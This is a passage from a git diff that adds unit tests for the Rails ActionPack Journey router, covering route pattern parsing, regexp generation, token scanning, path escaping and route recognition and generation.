+ assert_equal 5, table.eclosure([0]).length
+ end
+
+ def test_following_states_one
+ table = tt '/'
+
+ assert_equal [1], table.following_states(0, '/')
+ assert_equal [1], table.following_states([0], '/')
+ end
+
+ def test_following_states_group
+ table = tt 'a|b'
+ states = table.eclosure 0
+
+ assert_equal 1, table.following_states(states, 'a').length
+ assert_equal 1, table.following_states(states, 'b').length
+ end
+
+ def test_following_states_multi
+ table = tt 'a|a'
+ states = table.eclosure 0
+
+ assert_equal 2, table.following_states(states, 'a').length
+ assert_equal 0, table.following_states(states, 'b').length
+ end
+
+ def test_following_states_regexp
+ table = tt 'a|:a'
+ states = table.eclosure 0
+
+ assert_equal 1, table.following_states(states, 'a').length
+ assert_equal 1, table.following_states(states, /[^\.\/\?]+/).length
+ assert_equal 0, table.following_states(states, 'b').length
+ end
+
+ def test_alphabet
+ table = tt 'a|:a'
+ assert_equal [/[^\.\/\?]+/, 'a'], table.alphabet
+
+ table = tt 'a|a'
+ assert_equal ['a'], table.alphabet
+ end
+
+ private
+ def tt string
+ ast = @parser.parse string
+ builder = Builder.new ast
+ builder.transition_table
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/nodes/symbol_test.rb b/actionpack/test/journey/nodes/symbol_test.rb
new file mode 100644
index 0000000..d411a50
--- /dev/null
+++ b/actionpack/test/journey/nodes/symbol_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module Nodes
+ class TestSymbol < ActiveSupport::TestCase
+ def test_default_regexp?
+ sym = Symbol.new nil
+ assert sym.default_regexp?
+
+ sym.regexp = nil
+ assert_not sym.default_regexp?
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/path/pattern_test.rb b/actionpack/test/journey/path/pattern_test.rb
new file mode 100644
index 0000000..ce02104
--- /dev/null
+++ b/actionpack/test/journey/path/pattern_test.rb
@@ -0,0 +1,288 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module Path
+ class TestPattern < ActiveSupport::TestCase
+ x = /.+/
+ {
+ '/:controller(/:action)' => %r{\A/(#{x})(?:/([^/.?]+))?\Z},
+ '/:controller/foo' => %r{\A/(#{x})/foo\Z},
+ '/:controller/:action' => %r{\A/(#{x})/([^/.?]+)\Z},
+ '/:controller' => %r{\A/(#{x})\Z},
+ '/:controller(/:action(/:id))' => %r{\A/(#{x})(?:/([^/.?]+)(?:/([^/.?]+))?)?\Z},
+ '/:controller/:action.xml' => %r{\A/(#{x})/([^/.?]+)\.xml\Z},
+ '/:controller.:format' => %r{\A/(#{x})\.([^/.?]+)\Z},
+ '/:controller(.:format)' => %r{\A/(#{x})(?:\.([^/.?]+))?\Z},
+ '/:controller/*foo' => %r{\A/(#{x})/(.+)\Z},
+ '/:controller/*foo/bar' => %r{\A/(#{x})/(.+)/bar\Z},
+ }.each do |path, expected|
+ define_method(:"test_to_regexp_#{path}") do
+ strexp = Router::Strexp.new(
+ path,
+ { :controller => /.+/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_equal(expected, path.to_regexp)
+ end
+ end
+
+ {
+ '/:controller(/:action)' => %r{\A/(#{x})(?:/([^/.?]+))?},
+ '/:controller/foo' => %r{\A/(#{x})/foo},
+ '/:controller/:action' => %r{\A/(#{x})/([^/.?]+)},
+ '/:controller' => %r{\A/(#{x})},
+ '/:controller(/:action(/:id))' => %r{\A/(#{x})(?:/([^/.?]+)(?:/([^/.?]+))?)?},
+ '/:controller/:action.xml' => %r{\A/(#{x})/([^/.?]+)\.xml},
+ '/:controller.:format' => %r{\A/(#{x})\.([^/.?]+)},
+ '/:controller(.:format)' => %r{\A/(#{x})(?:\.([^/.?]+))?},
+ '/:controller/*foo' => %r{\A/(#{x})/(.+)},
+ '/:controller/*foo/bar' => %r{\A/(#{x})/(.+)/bar},
+ }.each do |path, expected|
+ define_method(:"test_to_non_anchored_regexp_#{path}") do
+ strexp = Router::Strexp.new(
+ path,
+ { :controller => /.+/ },
+ ["/", ".", "?"],
+ false
+ )
+ path = Pattern.new strexp
+ assert_equal(expected, path.to_regexp)
+ end
+ end
+
+ {
+ '/:controller(/:action)' => %w{ controller action },
+ '/:controller/foo' => %w{ controller },
+ '/:controller/:action' => %w{ controller action },
+ '/:controller' => %w{ controller },
+ '/:controller(/:action(/:id))' => %w{ controller action id },
+ '/:controller/:action.xml' => %w{ controller action },
+ '/:controller.:format' => %w{ controller format },
+ '/:controller(.:format)' => %w{ controller format },
+ '/:controller/*foo' => %w{ controller foo },
+ '/:controller/*foo/bar' => %w{ controller foo },
+ }.each do |path, expected|
+ define_method(:"test_names_#{path}") do
+ strexp = Router::Strexp.new(
+ path,
+ { :controller => /.+/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_equal(expected, path.names)
+ end
+ end
+
+ def test_to_raise_exception_with_bad_expression
+ assert_raise(ArgumentError, "Bad expression: []") { Pattern.new [] }
+ end
+
+ def test_to_regexp_with_extended_group
+ strexp = Router::Strexp.new(
+ '/page/:name',
+ { :name => /
+ #ROFL
+ (tender|love
+ #MAO
+ )/x },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_match(path, '/page/tender')
+ assert_match(path, '/page/love')
+ assert_no_match(path, '/page/loving')
+ end
+
+ def test_optional_names
+ [
+ ['/:foo(/:bar(/:baz))', %w{ bar baz }],
+ ['/:foo(/:bar)', %w{ bar }],
+ ['/:foo(/:bar)/:lol(/:baz)', %w{ bar baz }],
+ ].each do |pattern, list|
+ path = Pattern.new pattern
+ assert_equal list.sort, path.optional_names.sort
+ end
+ end
+
+ def test_to_regexp_match_non_optional
+ strexp = Router::Strexp.new(
+ '/:name',
+ { :name => /\d+/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_match(path, '/123')
+ assert_no_match(path, '/')
+ end
+
+ def test_to_regexp_with_group
+ strexp = Router::Strexp.new(
+ '/page/:name',
+ { :name => /(tender|love)/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_match(path, '/page/tender')
+ assert_match(path, '/page/love')
+ assert_no_match(path, '/page/loving')
+ end
+
+ def test_ast_sets_regular_expressions
+ requirements = { :name => /(tender|love)/, :value => /./ }
+ strexp = Router::Strexp.new(
+ '/page/:name/:value',
+ requirements,
+ ["/", ".", "?"]
+ )
+
+ assert_equal requirements, strexp.requirements
+
+ path = Pattern.new strexp
+ nodes = path.ast.grep(Nodes::Symbol)
+ assert_equal 2, nodes.length
+ nodes.each do |node|
+ assert_equal requirements[node.to_sym], node.regexp
+ end
+ end
+
+ def test_match_data_with_group
+ strexp = Router::Strexp.new(
+ '/page/:name',
+ { :name => /(tender|love)/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ match = path.match '/page/tender'
+ assert_equal 'tender', match[1]
+ assert_equal 2, match.length
+ end
+
+ def test_match_data_with_multi_group
+ strexp = Router::Strexp.new(
+ '/page/:name/:id',
+ { :name => /t(((ender|love)))()/ },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ match = path.match '/page/tender/10'
+ assert_equal 'tender', match[1]
+ assert_equal '10', match[2]
+ assert_equal 3, match.length
+ assert_equal %w{ tender 10 }, match.captures
+ end
+
+ def test_star_with_custom_re
+ z = /\d+/
+ strexp = Router::Strexp.new(
+ '/page/*foo',
+ { :foo => z },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_equal(%r{\A/page/(#{z})\Z}, path.to_regexp)
+ end
+
+ def test_insensitive_regexp_with_group
+ strexp = Router::Strexp.new(
+ '/page/:name/aaron',
+ { :name => /(tender|love)/i },
+ ["/", ".", "?"]
+ )
+ path = Pattern.new strexp
+ assert_match(path, '/page/TENDER/aaron')
+ assert_match(path, '/page/loVE/aaron')
+ assert_no_match(path, '/page/loVE/AAron')
+ end
+
+ def test_to_regexp_with_strexp
+ strexp = Router::Strexp.new('/:controller', { }, ["/", ".", "?"])
+ path = Pattern.new strexp
+ x = %r{\A/([^/.?]+)\Z}
+
+ assert_equal(x.source, path.source)
+ end
+
+ def test_to_regexp_defaults
+ path = Pattern.new '/:controller(/:action(/:id))'
+ expected = %r{\A/([^/.?]+)(?:/([^/.?]+)(?:/([^/.?]+))?)?\Z}
+ assert_equal expected, path.to_regexp
+ end
+
+ def test_failed_match
+ path = Pattern.new '/:controller(/:action(/:id(.:format)))'
+ uri = 'content'
+
+ assert_not path =~ uri
+ end
+
+ def test_match_controller
+ path = Pattern.new '/:controller(/:action(/:id(.:format)))'
+ uri = '/content'
+
+ match = path =~ uri
+ assert_equal %w{ controller action id format }, match.names
+ assert_equal 'content', match[1]
+ assert_nil match[2]
+ assert_nil match[3]
+ assert_nil match[4]
+ end
+
+ def test_match_controller_action
+ path = Pattern.new '/:controller(/:action(/:id(.:format)))'
+ uri = '/content/list'
+
+ match = path =~ uri
+ assert_equal %w{ controller action id format }, match.names
+ assert_equal 'content', match[1]
+ assert_equal 'list', match[2]
+ assert_nil match[3]
+ assert_nil match[4]
+ end
+
+ def test_match_controller_action_id
+ path = Pattern.new '/:controller(/:action(/:id(.:format)))'
+ uri = '/content/list/10'
+
+ match = path =~ uri
+ assert_equal %w{ controller action id format }, match.names
+ assert_equal 'content', match[1]
+ assert_equal 'list', match[2]
+ assert_equal '10', match[3]
+ assert_nil match[4]
+ end
+
+ def test_match_literal
+ path = Path::Pattern.new "/books(/:action(.:format))"
+
+ uri = '/books'
+ match = path =~ uri
+ assert_equal %w{ action format }, match.names
+ assert_nil match[1]
+ assert_nil match[2]
+ end
+
+ def test_match_literal_with_action
+ path = Path::Pattern.new "/books(/:action(.:format))"
+
+ uri = '/books/list'
+ match = path =~ uri
+ assert_equal %w{ action format }, match.names
+ assert_equal 'list', match[1]
+ assert_nil match[2]
+ end
+
+ def test_match_literal_with_action_and_format
+ path = Path::Pattern.new "/books(/:action(.:format))"
+
+ uri = '/books/list.rss'
+ match = path =~ uri
+ assert_equal %w{ action format }, match.names
+ assert_equal 'list', match[1]
+ assert_equal 'rss', match[2]
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/route/definition/parser_test.rb b/actionpack/test/journey/route/definition/parser_test.rb
new file mode 100644
index 0000000..d7d7172
--- /dev/null
+++ b/actionpack/test/journey/route/definition/parser_test.rb
@@ -0,0 +1,110 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module Definition
+ class TestParser < ActiveSupport::TestCase
+ def setup
+ @parser = Parser.new
+ end
+
+ def test_slash
+ assert_equal :SLASH, @parser.parse('/').type
+ assert_round_trip '/'
+ end
+
+ def test_segment
+ assert_round_trip '/foo'
+ end
+
+ def test_segments
+ assert_round_trip '/foo/bar'
+ end
+
+ def test_segment_symbol
+ assert_round_trip '/foo/:id'
+ end
+
+ def test_symbol
+ assert_round_trip '/:foo'
+ end
+
+ def test_group
+ assert_round_trip '(/:foo)'
+ end
+
+ def test_groups
+ assert_round_trip '(/:foo)(/:bar)'
+ end
+
+ def test_nested_groups
+ assert_round_trip '(/:foo(/:bar))'
+ end
+
+ def test_dot_symbol
+ assert_round_trip('.:format')
+ end
+
+ def test_dot_literal
+ assert_round_trip('.xml')
+ end
+
+ def test_segment_dot
+ assert_round_trip('/foo.:bar')
+ end
+
+ def test_segment_group_dot
+ assert_round_trip('/foo(.:bar)')
+ end
+
+ def test_segment_group
+ assert_round_trip('/foo(/:action)')
+ end
+
+ def test_segment_groups
+ assert_round_trip('/foo(/:action)(/:bar)')
+ end
+
+ def test_segment_nested_groups
+ assert_round_trip('/foo(/:action(/:bar))')
+ end
+
+ def test_group_followed_by_path
+ assert_round_trip('/foo(/:action)/:bar')
+ end
+
+ def test_star
+ assert_round_trip('*foo')
+ assert_round_trip('/*foo')
+ assert_round_trip('/bar/*foo')
+ assert_round_trip('/bar/(*foo)')
+ end
+
+ def test_or
+ assert_round_trip('a|b')
+ assert_round_trip('a|b|c')
+ assert_round_trip('(a|b)|c')
+ assert_round_trip('a|(b|c)')
+ assert_round_trip('*a|(b|c)')
+ assert_round_trip('*a|:b|c')
+ end
+
+ def test_arbitrary
+ assert_round_trip('/bar/*foo#')
+ end
+
+ def test_literal_dot_paren
+ assert_round_trip "/sprockets.js(.:format)"
+ end
+
+ def test_groups_with_dot
+ assert_round_trip "/(:locale)(.:format)"
+ end
+
+ def assert_round_trip str
+ assert_equal str, @parser.parse(str).to_s
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/route/definition/scanner_test.rb b/actionpack/test/journey/route/definition/scanner_test.rb
new file mode 100644
index 0000000..624e6df
--- /dev/null
+++ b/actionpack/test/journey/route/definition/scanner_test.rb
@@ -0,0 +1,56 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ module Definition
+ class TestScanner < ActiveSupport::TestCase
+ def setup
+ @scanner = Scanner.new
+ end
+
+ # /page/:id(/:action)(.:format)
+ def test_tokens
+ [
+ ['/', [[:SLASH, '/']]],
+ ['*omg', [[:STAR, '*omg']]],
+ ['/page', [[:SLASH, '/'], [:LITERAL, 'page']]],
+ ['/~page', [[:SLASH, '/'], [:LITERAL, '~page']]],
+ ['/pa-ge', [[:SLASH, '/'], [:LITERAL, 'pa-ge']]],
+ ['/:page', [[:SLASH, '/'], [:SYMBOL, ':page']]],
+ ['/(:page)', [
+ [:SLASH, '/'],
+ [:LPAREN, '('],
+ [:SYMBOL, ':page'],
+ [:RPAREN, ')'],
+ ]],
+ ['(/:action)', [
+ [:LPAREN, '('],
+ [:SLASH, '/'],
+ [:SYMBOL, ':action'],
+ [:RPAREN, ')'],
+ ]],
+ ['(())', [[:LPAREN, '('],
+ [:LPAREN, '('], [:RPAREN, ')'], [:RPAREN, ')']]],
+ ['(.:format)', [
+ [:LPAREN, '('],
+ [:DOT, '.'],
+ [:SYMBOL, ':format'],
+ [:RPAREN, ')'],
+ ]],
+ ].each do |str, expected|
+ @scanner.scan_setup str
+ assert_tokens expected, @scanner
+ end
+ end
+
+ def assert_tokens tokens, scanner
+ toks = []
+ while tok = scanner.next_token
+ toks << tok
+ end
+ assert_equal tokens, toks
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/route_test.rb b/actionpack/test/journey/route_test.rb
new file mode 100644
index 0000000..cbe6284
--- /dev/null
+++ b/actionpack/test/journey/route_test.rb
@@ -0,0 +1,106 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ class TestRoute < ActiveSupport::TestCase
+ def test_initialize
+ app = Object.new
+ path = Path::Pattern.new '/:controller(/:action(/:id(.:format)))'
+ defaults = {}
+ route = Route.new("name", app, path, {}, defaults)
+
+ assert_equal app, route.app
+ assert_equal path, route.path
+ assert_same defaults, route.defaults
+ end
+
+ def test_route_adds_itself_as_memo
+ app = Object.new
+ path = Path::Pattern.new '/:controller(/:action(/:id(.:format)))'
+ defaults = {}
+ route = Route.new("name", app, path, {}, defaults)
+
+ route.ast.grep(Nodes::Terminal).each do |node|
+ assert_equal route, node.memo
+ end
+ end
+
+ def test_ip_address
+ path = Path::Pattern.new '/messages/:id(.:format)'
+ route = Route.new("name", nil, path, {:ip => '192.168.1.1'},
+ { :controller => 'foo', :action => 'bar' })
+ assert_equal '192.168.1.1', route.ip
+ end
+
+ def test_default_ip
+ path = Path::Pattern.new '/messages/:id(.:format)'
+ route = Route.new("name", nil, path, {},
+ { :controller => 'foo', :action => 'bar' })
+ assert_equal(//, route.ip)
+ end
+
+ def test_format_with_star
+ path = Path::Pattern.new '/:controller/*extra'
+ route = Route.new("name", nil, path, {},
+ { :controller => 'foo', :action => 'bar' })
+ assert_equal '/foo/himom', route.format({
+ :controller => 'foo',
+ :extra => 'himom',
+ })
+ end
+
+ def test_connects_all_match
+ path = Path::Pattern.new '/:controller(/:action(/:id(.:format)))'
+ route = Route.new("name", nil, path, {:action => 'bar'}, { :controller => 'foo' })
+
+ assert_equal '/foo/bar/10', route.format({
+ :controller => 'foo',
+ :action => 'bar',
+ :id => 10
+ })
+ end
+
+ def test_extras_are_not_included_if_optional
+ path = Path::Pattern.new '/page/:id(/:action)'
+ route = Route.new("name", nil, path, { }, { :action => 'show' })
+
+ assert_equal '/page/10', route.format({ :id => 10 })
+ end
+
+ def test_extras_are_not_included_if_optional_with_parameter
+ path = Path::Pattern.new '(/sections/:section)/pages/:id'
+ route = Route.new("name", nil, path, { }, { :action => 'show' })
+
+ assert_equal '/pages/10', route.format({:id => 10})
+ end
+
+ def test_extras_are_not_included_if_optional_parameter_is_nil
+ path = Path::Pattern.new '(/sections/:section)/pages/:id'
+ route = Route.new("name", nil, path, { }, { :action => 'show' })
+
+ assert_equal '/pages/10', route.format({:id => 10, :section => nil})
+ end
+
+ def test_score
+ constraints = {:required_defaults => [:controller, :action]}
+ defaults = {:controller=>"pages", :action=>"show"}
+
+ path = Path::Pattern.new "/page/:id(/:action)(.:format)"
+ specific = Route.new "name", nil, path, constraints, defaults
+
+ path = Path::Pattern.new "/:controller(/:action(/:id))(.:format)"
+ generic = Route.new "name", nil, path, constraints
+
+ knowledge = {:id=>20, :controller=>"pages", :action=>"show"}
+
+ routes = [specific, generic]
+
+ assert_not_equal specific.score(knowledge), generic.score(knowledge)
+
+ found = routes.sort_by { |r| r.score(knowledge) }.last
+
+ assert_equal specific, found
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/router/strexp_test.rb b/actionpack/test/journey/router/strexp_test.rb
new file mode 100644
index 0000000..7ccdfb7
--- /dev/null
+++ b/actionpack/test/journey/router/strexp_test.rb
@@ -0,0 +1,32 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ class Router
+ class TestStrexp < ActiveSupport::TestCase
+ def test_many_names
+ exp = Strexp.new(
+ "/:controller(/:action(/:id(.:format)))",
+ {:controller=>/.+?/},
+ ["/", ".", "?"],
+ true)
+
+ assert_equal ["controller", "action", "id", "format"], exp.names
+ end
+
+ def test_names
+ {
+ "/bar(.:format)" => %w{ format },
+ ":format" => %w{ format },
+ ":format-" => %w{ format },
+ ":format0" => %w{ format0 },
+ ":format1,:format2" => %w{ format1 format2 },
+ }.each do |string, expected|
+ exp = Strexp.new(string, {}, ["/", ".", "?"])
+ assert_equal expected, exp.names
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/router/utils_test.rb b/actionpack/test/journey/router/utils_test.rb
new file mode 100644
index 0000000..057dc40
--- /dev/null
+++ b/actionpack/test/journey/router/utils_test.rb
@@ -0,0 +1,21 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ class Router
+ class TestUtils < ActiveSupport::TestCase
+ def test_path_escape
+ assert_equal "a/b%20c+d", Utils.escape_path("a/b c+d")
+ end
+
+ def test_fragment_escape
+ assert_equal "a/b%20c+d?e", Utils.escape_fragment("a/b c+d?e")
+ end
+
+ def test_uri_unescape
+ assert_equal "a/b c+d", Utils.unescape_uri("a%2Fb%20c+d")
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/test/journey/router_test.rb b/actionpack/test/journey/router_test.rb
new file mode 100644
index 0000000..3d52b2e
--- /dev/null
+++ b/actionpack/test/journey/router_test.rb
@@ -0,0 +1,575 @@
+# encoding: UTF-8
+require 'abstract_unit'
+
+module ActionDispatch
+ module Journey
+ class TestRouter < ActiveSupport::TestCase
+ attr_reader :routes
+
+ def setup
+ @routes = Routes.new
+ @router = Router.new(@routes, {})
+ @formatter = Formatter.new(@routes)
+ end
+
+ def test_request_class_reader
+ klass = Object.new
+ router = Router.new(routes, :request_class => klass)
+ assert_equal klass, router.request_class
+ end
+
+ class FakeRequestFeeler < Struct.new(:env, :called)
+ def new env
+ self.env = env
+ self
+ end
+
+ def hello
+ self.called = true
+ 'world'
+ end
+
+ def path_info; env['PATH_INFO']; end
+ def request_method; env['REQUEST_METHOD']; end
+ def ip; env['REMOTE_ADDR']; end
+ end
+
+ def test_dashes
+ router = Router.new(routes, {})
+
+ exp = Router::Strexp.new '/foo-bar-baz', {}, ['/.?']
+ path = Path::Pattern.new exp
+
+ routes.add_route nil, path, {}, {:id => nil}, {}
+
+ env = rails_env 'PATH_INFO' => '/foo-bar-baz'
+ called = false
+ router.recognize(env) do |r, _, params|
+ called = true
+ end
+ assert called
+ end
+
+ def test_unicode
+ router = Router.new(routes, {})
+
+ #match the escaped version of /ほげ
+ exp = Router::Strexp.new '/%E3%81%BB%E3%81%92', {}, ['/.?']
+ path = Path::Pattern.new exp
+
+ routes.add_route nil, path, {}, {:id => nil}, {}
+
+ env = rails_env 'PATH_INFO' => '/%E3%81%BB%E3%81%92'
+ called = false
+ router.recognize(env) do |r, _, params|
+ called = true
+ end
+ assert called
+ end
+
+ def test_request_class_and_requirements_success
+ klass = FakeRequestFeeler.new nil
+ router = Router.new(routes, {:request_class => klass })
+
+ requirements = { :hello => /world/ }
+
+ exp = Router::Strexp.new '/foo(/:id)', {}, ['/.?']
+ path = Path::Pattern.new exp
+
+ routes.add_route nil, path, requirements, {:id => nil}, {}
+
+ env = rails_env 'PATH_INFO' => '/foo/10'
+ router.recognize(env) do |r, _, params|
+ assert_equal({:id => '10'}, params)
+ end
+
+ assert klass.called, 'hello should have been called'
+ assert_equal env.env, klass.env
+ end
+
+ def test_request_class_and_requirements_fail
+ klass = FakeRequestFeeler.new nil
+ router = Router.new(routes, {:request_class => klass })
+
+ requirements = { :hello => /mom/ }
+
+ exp = Router::Strexp.new '/foo(/:id)', {}, ['/.?']
+ path = Path::Pattern.new exp
+
+ router.routes.add_route nil, path, requirements, {:id => nil}, {}
+
+ env = rails_env 'PATH_INFO' => '/foo/10'
+ router.recognize(env) do |r, _, params|
+ flunk 'route should not be found'
+ end
+
+ assert klass.called, 'hello should have been called'
+ assert_equal env.env, klass.env
+ end
+
+ class CustomPathRequest < Router::NullReq
+ def path_info
+ env['custom.path_info']
+ end
+ end
+
+ def test_request_class_overrides_path_info
+ router = Router.new(routes, {:request_class => CustomPathRequest })
+
+ exp = Router::Strexp.new '/bar', {}, ['/.?']
+ path = Path::Pattern.new exp
+
+ routes.add_route nil, path, {}, {}, {}
+
+ env = rails_env 'PATH_INFO' => '/foo', 'custom.path_info' => '/bar'
+
+ recognized = false
+ router.recognize(env) do |r, _, params|
+ recognized = true
+ end
+
+ assert recognized, "route should have been recognized"
+ end
+
+ def test_regexp_first_precedence
+ add_routes @router, [
+ Router::Strexp.new("/whois/:domain", {:domain => /\w+\.[\w\.]+/}, ['/', '.', '?']),
+ Router::Strexp.new("/whois/:id(.:format)", {}, ['/', '.', '?'])
+ ]
+
+ env = rails_env 'PATH_INFO' => '/whois/example.com'
+
+ list = []
+ @router.recognize(env) do |r, _, params|
+ list << r
+ end
+ assert_equal 2, list.length
+
+ r = list.first
+
+ assert_equal '/whois/:domain', r.path.spec.to_s
+ end
+
+ def test_required_parts_verified_are_anchored
+ add_routes @router, [
+ Router::Strexp.new("/foo/:id", { :id => /\d/ }, ['/', '.', '?'], false)
+ ]
+
+ assert_raises(ActionController::UrlGenerationError) do
+ @formatter.generate(:path_info, nil, { :id => '10' }, { })
+ end
+ end
+
+ def test_required_parts_are_verified_when_building
+ add_routes @router, [
+ Router::Strexp.new("/foo/:id", { :id => /\d+/ }, ['/', '.', '?'], false)
+ ]
+
+ path, _ = @formatter.generate(:path_info, nil, { :id => '10' }, { })
+ assert_equal '/foo/10', path
+
+ assert_raises(ActionController::UrlGenerationError) do
+ @formatter.generate(:path_info, nil, { :id => 'aa' }, { })
+ end
+ end
+
+ def test_only_required_parts_are_verified
+ add_routes @router, [
+ Router::Strexp.new("/foo(/:id)", {:id => /\d/}, ['/', '.', '?'], false)
+ ]
+
+ path, _ = @formatter.generate(:path_info, nil, { :id => '10' }, { })
+ assert_equal '/foo/10', path
+
+ path, _ = @formatter.generate(:path_info, nil, { }, { })
+ assert_equal '/foo', path
+
+ path, _ = @formatter.generate(:path_info, nil, { :id => 'aa' }, { })
+ assert_equal '/foo/aa', path
+ end
+
+ def test_knows_what_parts_are_missing_from_named_route
+ route_name = "gorby_thunderhorse"
+ pattern = Router::Strexp.new("/foo/:id", { :id => /\d+/ }, ['/', '.', '?'], false)
+ path = Path::Pattern.new pattern
+ @router.routes.add_route nil, path, {}, {}, route_name
+
+ error = assert_raises(ActionController::UrlGenerationError) do
+ @formatter.generate(:path_info, route_name, { }, { })
+ end
+
+ assert_match(/missing required keys: \[:id\]/, error.message)
+ end
+
+ def test_X_Cascade
+ add_routes @router, [ "/messages(.:format)" ]
+ resp = @router.call({ 'REQUEST_METHOD' => 'GET', 'PATH_INFO' => '/lol' })
+ assert_equal ['Not Found'], resp.last
+ assert_equal 'pass', resp[1]['X-Cascade']
+ assert_equal 404, resp.first
+ end
+
+ def test_clear_trailing_slash_from_script_name_on_root_unanchored_routes
+ strexp = Router::Strexp.new("/", {}, ['/', '.', '?'], false)
+ path = Path::Pattern.new strexp
+ app = lambda { |env| [200, {}, ['success!']] }
+ @router.routes.add_route(app, path, {}, {}, {})
+
+ env = rack_env('SCRIPT_NAME' => '', 'PATH_INFO' => '/weblog')
+ resp = @router.call(env)
+ assert_equal ['success!'], resp.last
+ assert_equal '', env['SCRIPT_NAME']
+ end
+
+ def test_defaults_merge_correctly
+ path = Path::Pattern.new '/foo(/:id)'
+ @router.routes.add_route nil, path, {}, {:id => nil}, {}
+
+ env = rails_env 'PATH_INFO' => '/foo/10'
+ @router.recognize(env) do |r, _, params|
+ assert_equal({:id => '10'}, params)
+ end
+
+ env = rails_env 'PATH_INFO' => '/foo'
+ @router.recognize(env) do |r, _, params|
+ assert_equal({:id => nil}, params)
+ end
+ end
+
+ def test_recognize_with_unbound_regexp
+ add_routes @router, [
+ Router::Strexp.new("/foo", { }, ['/', '.', '?'], false)
+ ]
+
+ env = rails_env 'PATH_INFO' => '/foo/bar'
+
+ @router.recognize(env) { |*_| }
+
+ assert_equal '/foo', env.env['SCRIPT_NAME']
+ assert_equal '/bar', env.env['PATH_INFO']
+ end
+
+ def test_bound_regexp_keeps_path_info
+ add_routes @router, [
+ Router::Strexp.new("/foo", { }, ['/', '.', '?'], true)
+ ]
+
+ env = rails_env 'PATH_INFO' => '/foo'
+
+ before = env.env['SCRIPT_NAME']
+
+ @router.recognize(env) { |*_| }
+
+ assert_equal before, env.env['SCRIPT_NAME']
+ assert_equal '/foo', env.env['PATH_INFO']
+ end
+
+ def test_path_not_found
+ add_routes @router, [
+ "/messages(.:format)",
+ "/messages/new(.:format)",
+ "/messages/:id/edit(.:format)",
+ "/messages/:id(.:format)"
+ ]
+ env = rails_env 'PATH_INFO' => '/messages/unknown/path'
+ yielded = false
+
+ @router.recognize(env) do |*whatever|
+ yielded = true
+ end
+ assert_not yielded
+ end
+
+ def test_required_part_in_recall
+ add_routes @router, [ "/messages/:a/:b" ]
+
+ path, _ = @formatter.generate(:path_info, nil, { :a => 'a' }, { :b => 'b' })
+ assert_equal "/messages/a/b", path
+ end
+
+ def test_splat_in_recall
+ add_routes @router, [ "/*path" ]
+
+ path, _ = @formatter.generate(:path_info, nil, { }, { :path => 'b' })
+ assert_equal "/b", path
+ end
+
+ def test_recall_should_be_used_when_scoring
+ add_routes @router, [
+ "/messages/:action(/:id(.:format))",
+ "/messages/:id(.:format)"
+ ]
+
+ path, _ = @formatter.generate(:path_info, nil, { :id => 10 }, { :action => 'index' })
+ assert_equal "/messages/index/10", path
+ end
+
+ def test_nil_path_parts_are_ignored
+ path = Path::Pattern.new "/:controller(/:action(.:format))"
+ @router.routes.add_route nil, path, {}, {}, {}
+
+ params = { :controller => "tasks", :format => nil }
+ extras = { :action => 'lol' }
+
+ path, _ = @formatter.generate(:path_info, nil, params, extras)
+ assert_equal '/tasks', path
+ end
+
+ def test_generate_slash
+ params = [ [:controller, "tasks"],
+ [:action, "show"] ]
+ str = Router::Strexp.new("/", Hash[params], ['/', '.', '?'], true)
+ path = Path::Pattern.new str
+
+ @router.routes.add_route nil, path, {}, {}, {}
+
+ path, _ = @formatter.generate(:path_info, nil, Hash[params], {})
+ assert_equal '/', path
+ end
+
+ def test_generate_calls_param_proc
+ path = Path::Pattern.new '/:controller(/:action)'
+ @router.routes.add_route nil, path, {}, {}, {}
+
+ parameterized = []
+ params = [ [:controller, "tasks"],
+ [:action, "show"] ]
+
+ @formatter.generate(
+ :path_info,
+ nil,
+ Hash[params],
+ {},
+ lambda { |k,v| parameterized << [k,v]; v })
+
+ assert_equal params.map(&:to_s).sort, parameterized.map(&:to_s).sort
+ end
+
+ def test_generate_id
+ path = Path::Pattern.new '/:controller(/:action)'
+ @router.routes.add_route nil, path, {}, {}, {}
+
+ path, params = @formatter.generate(
+ :path_info, nil, {:id=>1, :controller=>"tasks", :action=>"show"}, {})
+ assert_equal '/tasks/show', path
+ assert_equal({:id => 1}, params)
+ end
+
+ def test_generate_escapes
+ path = Path::Pattern.new '/:controller(/:action)'
+ @router.routes.add_route nil, path, {}, {}, {}
+
+ path, _ = @formatter.generate(:path_info,
+ nil, { :controller => "tasks",
+ :action => "a/b c+d",
+ }, {})
+ assert_equal '/tasks/a/b%20c+d', path
+ end
+
+ def test_generate_extra_params
+ path = Path::Pattern.new '/:controller(/:action)'
+ @router.routes.add_route nil, path, {}, {}, {}
+
+ path, params = @formatter.generate(:path_info,
+ nil, { :id => 1,
+ :controller => "tasks",
+ :action => "show",
+ :relative_url_root => nil
+ }, {})
+ assert_equal '/tasks/show', path
+ assert_equal({:id => 1, :relative_url_root => nil}, params)
+ end
+
+ def test_generate_uses_recall_if_needed
+ path = Path::Pattern.new '/:controller(/:action(/:id))'
+ @router.routes.add_route nil, path, {}, {}, {}
+
+ path, params = @formatter.generate(:path_info,
+ nil,
